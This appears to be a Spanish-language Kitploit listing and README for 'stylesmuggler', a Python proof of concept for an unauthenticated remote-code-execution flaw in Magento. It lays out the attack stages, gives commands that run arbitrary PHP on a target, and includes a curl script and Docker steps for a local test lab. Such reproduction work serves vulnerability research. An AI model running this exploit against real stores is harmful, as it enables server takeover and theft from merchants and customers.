Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
stylesmuggler — PoC en Python que reproduce CVE-2026-75650 StyleSmuggler, un RCE no autenticado en Magento mediante envenenamiento de informes y renderizado de pagos fallidos, con verificación de canary. | Kitploit
Herramientas/GitHubGitHub/fortbridge/stylesmuggler
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónHerramienta de Acceso Remoto
GitHubfortbridge/stylesmuggler

stylesmuggler

PoC en Python que reproduce CVE-2026-75650 StyleSmuggler, un RCE no autenticado en Magento mediante envenenamiento de informes y renderizado de pagos fallidos, con verificación de canary.

Ver Repositorio
hace 9h 29mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

StyleSmuggler HTTP PoC

Repositorio de investigación privado para la reproducción únicamente por HTTP de StyleSmuggler, CVE-2026-75650, contra un laboratorio local de Magento Open Source.

Lee el recorrido técnico completo en Magento StyleSmuggler RCE: Report Poisoning to Code Execution.

El PoC en Python realiza la secuencia completa sin autenticación:

  1. envenenar un informe de error de Magento y leer su ID de informe de la respuesta;
  2. crear un carrito de invitado;
  3. establecer el correo electrónico de invitado requerido por la notificación de pago fallido;
  4. almacenar la construcción anidada del analizador de dirección de facturación;
  5. desencadenar el renderizado del pago fallido con type, text y styles en la cadena de consulta;
  6. obtener un canario nuevo por ejecución a través de HTTP.

Nunca copia un helper dentro del contenedor ni invoca el escáner a través de Docker. La biblioteca estándar de Python es suficiente.

Ejecutar contra un laboratorio existente

root@kitploit:~
python3 exploit.py --target http://localhost:18082

La salida final debe contener RCE VERIFIED y el mismo marcador fresco STYLESMUGGLER_RUN_... impreso anteriormente en esa ejecución. Un canario existente no puede satisfacer la comprobación porque cada ejecución genera un nuevo marcador.

La ruta del informe debe ser la ruta vista por el proceso PHP de destino. Anúlala cuando Magento use otro document root:

root@kitploit:~
python3 exploit.py \
  --target http://localhost:18082 \
  --report-dir /srv/magento/var/report

PHP personalizado

Pasa sentencias PHP sin <?php ni ?>:

root@kitploit:~
python3 exploit.py \
  --target http://localhost:18082 \
  --code 'file_put_contents(getcwd()."/custom-test.txt", "PHP ".PHP_VERSION.PHP_EOL);'

curl -sS http://localhost:18082/custom-test.txt

El PoC escribe su marcador de verificación fresco antes de ejecutar el fragmento proporcionado y aún verifica ese marcador después.

Burp

Cada petición, incluido el envenenamiento del informe y la obtención final del canario, puede enviarse a través de un proxy HTTP:

root@kitploit:~
python3 exploit.py \
  --target http://localhost:18082 \
  --proxy http://127.0.0.1:8082

Añade --proxy-insecure para un objetivo HTTPS cuyo certificado interceptado no sea de confianza para Python.

Flujo manual con curl

curl_failed_payment.sh realiza las cuatro peticiones de la Etapa 2 y etiqueta el componente de Magento alcanzado por cada petición. Requiere curl, jq y openssl:

root@kitploit:~
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID

Establece otro objetivo o listener de Burp a través de variables de entorno:

root@kitploit:~
MAGENTO_URL=http://localhost:18082 \
BURP_PROXY=http://127.0.0.1:8082 \
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID

Objetivo local

docker-compose.yml proporciona servicios aislados de MySQL, OpenSearch y PHP/Apache en 127.0.0.1:18082. Espera un árbol de código fuente de Magento instalado en ./magento2-src.

La validación limpia final utilizó el commit de Magento:

root@kitploit:~
f8405be831efa461ec18cc5a637cd98afa767015

Clona el código fuente e instala sus dependencias de Composer antes de ejecutar el proceso normal setup:install de Magento:

root@kitploit:~
git clone --filter=blob:none --branch 2.4-develop \
  https://github.com/magento/magento2.git magento2-src
git -C magento2-src checkout f8405be831efa461ec18cc5a637cd98afa767015

docker compose build web
docker compose up -d db opensearch
docker compose run --rm web composer install --no-interaction

Después de que Magento esté instalado con el host de base de datos db, el host de OpenSearch opensearch y la URL base http://localhost:18082/, inicia el servicio web:

root@kitploit:~
docker compose up -d web
docker compose ps
Descargar herramienta